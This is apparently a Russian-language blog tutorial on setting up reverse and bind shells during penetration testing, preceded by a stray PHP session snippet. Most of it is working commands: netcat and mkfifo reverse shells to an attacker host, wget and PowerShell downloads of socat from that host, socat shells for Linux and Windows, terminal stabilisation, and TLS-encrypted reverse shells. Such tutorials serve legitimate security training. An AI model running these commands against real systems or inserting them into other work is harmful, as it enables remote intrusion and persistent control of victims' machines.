use on php tage session_name("laravel_session"); session_start(); $_SESSION['laravel_session'] = '60496c0795af2c5a1851100f52f34ccf3c692279+SFqbxMoR1OsEMJsYnZ11ANbTYFp8HmihXoDEaD6O';

Курс молодого бойца по шеллам

Курс молодого бойца по шеллам

При изучении наступательной информационной безопасности, например, тестирования веб-приложений на предмет уязвимостей, рано или поздно может возникнуть вопрос о полной компрометации инфраструктуры, на которой развернуто приложение. Получив доступ к целевой системе, злоумышленник может взаимодействовать с БД и другими важными сервисами напрямую, вносить неожиданные неплановые корректировки в их работу, атаковать соседние узлы во внутреннем контуре, компрометировать конфиденциальную информацию или даже вывести систему/ы из строя

Мало вероятно, что при первом проникновении в среду удастся сразу получить такой прямой доступ и молниеносно захватить всю инфраструктуру. Обычно после получения первоначального доступа необходимо провести некоторую эксплуатацию в системе, например, повышение привилегий. Для этого требуется установить полноценную и надежную интерактивную оболочку между добрым специалистом по информационной безопасности и целевой системой

Существует два типа командных оболочек: обратные - reverse и привязанные - bind. В случае обратной оболочки целевая система сама инициирует подключение к прослушивающему порту на ОС злоумышленника. Для этого злоумышленнику нужен белый IP-адрес или проброс порта во внешнюю сеть. Эта техника полезна, когда у жертвы нет статического белого IP-адреса или настроен огненный экран, блокирующий весь входящий трафик. Для привязанной оболочки происходит пропорционально обратная манипуляция: на целевой системе запускается командная оболочка на определённом порту, к которому злоумышленник инициирует подключение. Для этой манипуляции злоумышленнику необязательно иметь белый IP-адрес

Начнём с базовых стандартных системных инструментов, которые есть из коробки во многих дистрибутивах Linux

Netcat - швейцарский нож для сетевых администраторов, представляет собой многофункциональный инструмент для работы с сетями, который может использоваться для чтения и записи данных через сетевые соединения с использованием протоколов TCP и UDP

Запустите c помощью netcat прослушиватель на определённом порту

nc -lvnp $PORT

В данной команде $PORT это номер порта от 1024 до 65535 (2^16 - 1)

  • -l - netcat будет выступать в роли прослушивателя
  • -v - более подробный вывод
  • -n - не использовать DNS
  • -p - параметр для передачи номера порта

Обратите внимание на веб-сайт revshells.com, там можно составить и найти множество полезных нагрузок, на любой вкус и цвет

Выполните вызов для того, чтобы установить обратную оболочку

nc $IP $PORT -e /bin/sh

Если вы сделали всё правильно, то у вас перед глазами должна появиться оболочка командной строки sh от пользователя системы, с которой вы выполнили обратный вызов

Для того, чтобы нормально пользоваться автодополнением, горячими клавишами bash, vim'ом, другими TUI программами, предлагаю выполнить следующую инструкцию

Запустите следующую команду

python3 -c 'import pty;pty.spawn("/bin/bash")'

Установите нужный тип терминала. Это улучшит совместимость и отображение интерфейса

export TERM=xterm-256color

Задайте переменную $SHELL

export SHELL=/bin/bash

Нажмите сочетание клавиш CTRL+Z, чтобы приостановить текущий процесс и вернуться к оболочке хостовой системы, затем выполните

stty raw -echo; fg
  • stty raw -echo - переводит терминал в режим raw, отключая эхо ввода, что позволяет передавать данные напрямую без обработки
  • fg - возвратит приостановленный процесс на передний план

Настройте размер терминала. Выполните stty -a в другом терминале на хостовой системе, чтобы узнать нужное количество строк и столбцов. Затем выполните следующую команду на целевой системе для установки соответствующих значений

stty rows <строки> columns <колонки>

Или

export LINES=<строки> COLUMNS=<колонки

Необязательно каждый раз для стабилизации оболочки проводить описанные выше манипуляции. Для автоматизации процесса можно воспользоваться rlwrap

rlwrap -cAr nc -lvnp $PORT
  • -c - отслеживание рабочего каталога команд, автоматическое дополнение путей
  • -A - убирает ANSI-цвета
  • -r - составляет дополнения из прочитанного ввода

Также стоит отметить, что в большинстве версий netcat'а нет опции -e, так как она была признана небезопасной. Поэтому предлагаю вашему вниманию два трюка с использованием именованного конвейера - mkfifo:

mkfifo /tmp/f; nc -lvnp $PORT < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Bind shell

mkfifo /tmp/f; nc $IP $PORT < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Reverse shell

Перейдём к более продвинутым техникам. Я предлагаю рассмотреть инструмент socat. Он имеет аналогичный netcat'у функционал, но обладает полезными для нас возможностями прямо из коробки: встроенная поддержка шифрования и функционал создания интерактивной сессии. Установите его на хостовую и целевую системы

Скачать socat можно по ссылке (также можно воспользоваться пакетным менеджером)

Ссылка на мануал утилиты socat

Теперь выполните доставку необходимого бинарного файла на целевую систему

wget $IP/socat -O /tmp/socat
chmod +x /tmp/socat

Команда для компьютера под управлением Microsoft Windows

Invoke-WebRequest -uri $IP/socat.exe -outfile
C:\\Windows\temp\socat.exe

Пример обратной оболочки:

Прослушиватель (машина атакующего)

socat TCP-LISTEN:$PORT FILE:`tty`,raw,echo=0

Обратный вызов с целевого компьютера под управлением Linux

socat TCP:$IP:$PORT EXEC:"bash -
li",pty,stderr,setsid,sigint,sane

Обратный вызов с целевого компьютера под управлением Microsoft Windows

socat TCP:$IP:$PORT EXEC:powershell.exe,pipes

Пример привязанной оболочки:

На целевых компьютерах

Под управлением Linux

socat TCP-L:$PORT EXEC:"bash -li"

Под управлением Microsoft Windows

socat TCP-L:$PORT EXEC:powershell.exe,pipes

Команда для инициализации подключения с машины атакующего

socat TCP:$TARGET_IP:$TARGET_PORT -

После получения стабильной и интерактивной оболочки, стоит задуматься над следующими вопросами:

  1. Насколько эта оболочка стабильна? Что делать, если оболочка всё-таки оборвётся во время выполнения процесса?
  2. Как зашифровать коммуникацию между своей и целевой системой?

1. Чтобы избежать таких казусов, я предлагаю запускать нужные процессы в сессиях консольных мультиплексоров, таких как tmux

Создайте именованную сессию tmux

tmux new-session -s <имя сессии>

Теперь, если соединение с терминальной сессией оборвётся по какой-то причине, вы сможете просто заново подключиться к нужной сессии tmux из терминала и у вас сохранится контекст работы процесса

tmux a -t <имя сессии>

2. Одним из вариантов решения этого вопроса является создание зашифрованного туннеля с использованием сертификата посредством socat

Сгенерируйте сертификат с помощью openssl

openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt

Выполните слияние файлов shell.key и shell.crt в shell.pem

cat shell.key shell.crt > shell.pem

Используйте опцию verify=0 , чтобы не проверять сертификат на вшивость

Запустите защищённый сертификатом прослушиватель

socat OPENSSL-LISTEN:$PORT,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

После выполните обратное подключение

socat OPENSSL:$IP:$PORT,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Если все действия выполнены согласно представленному рецепту, вы должны получить защищённую обратную оболочку с использованием сертификата между целевой системой и вашей системой

Заключение: С помощью приведённых в посте техник можно улучшить тестирование на проникновение, создавая комфортные для эксплуатации условия

Disclaimer: Автор сайта не несёт ответственность за неправомерные действия, совершенные на основе изложенного контента

Также этот пост можно посмотреть в телеграм канале Unauth Papaya в двух частях: